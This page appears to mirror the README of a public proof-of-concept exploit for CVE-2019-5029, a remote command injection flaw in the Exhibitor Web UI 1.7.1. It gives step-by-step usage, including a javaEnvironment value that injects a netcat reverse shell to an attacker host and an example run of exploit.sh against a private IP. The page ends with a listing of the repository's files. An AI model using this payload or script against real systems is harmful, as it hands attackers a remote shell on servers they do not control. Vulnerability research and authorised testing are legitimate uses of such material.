CVE-2019-5029 PoC — Exhibitor 操作系统命令注入漏洞

来源

关联漏洞

Description

Exihibitor Web Ui 1.7.1 RCE, CVE-2019-5029

介绍

# Exhibitor-RCE
Exhibitor Web Ui 1.7.1 RCE, CVE-2019-5029

## Step 1:

$ git clone https://github.com/thehunt1s0n/Exihibitor-RCE/

## Step 2:

$ cd Exihibitor-RCE/

## Step 3 (optional):

You might need to edit json data payload in the script. To do that simply capture the request using burpsuite when comiting the changes in the config tab of exihibitor and copy pasting into the curl command in the script.

<div style="text-align:center;">
  <img src="https://raw.githubusercontent.com/thehunt1s0n/Exihibitor-RCE/main/media/burpsuite_capture.png" alt="gif 1" width="500"/>
</div>

Make sure to change the javaEnvironment with the following:

"javaEnvironment":"$(/bin/nc -e /bin/sh '$ATTACKER_HOST' '$ATTACKER_PORT' &)"


## Step 4:

./exploit.sh <host> <port> <attacker_host> <attacker_port>

Example:

$ ./exploit.sh 192.168.197.98 8080 192.168.45.187 8080

![gif](https://raw.githubusercontent.com/thehunt1s0n/Exihibitor-RCE/main/media/Exihibitor_capture.gif)

文件快照

 [4.0K]  /data/pocs/c2a43d99eb3ef31848cad19aba41a5c216b60efe
├── [2.4K]  exploit.sh
├── [4.0K]  media
│   ├── [ 83K]  burpsuite_capture.png
│   └── [654K]  Exihibitor_capture.gif
└── [ 967]  README.md

1 directory, 4 files

备注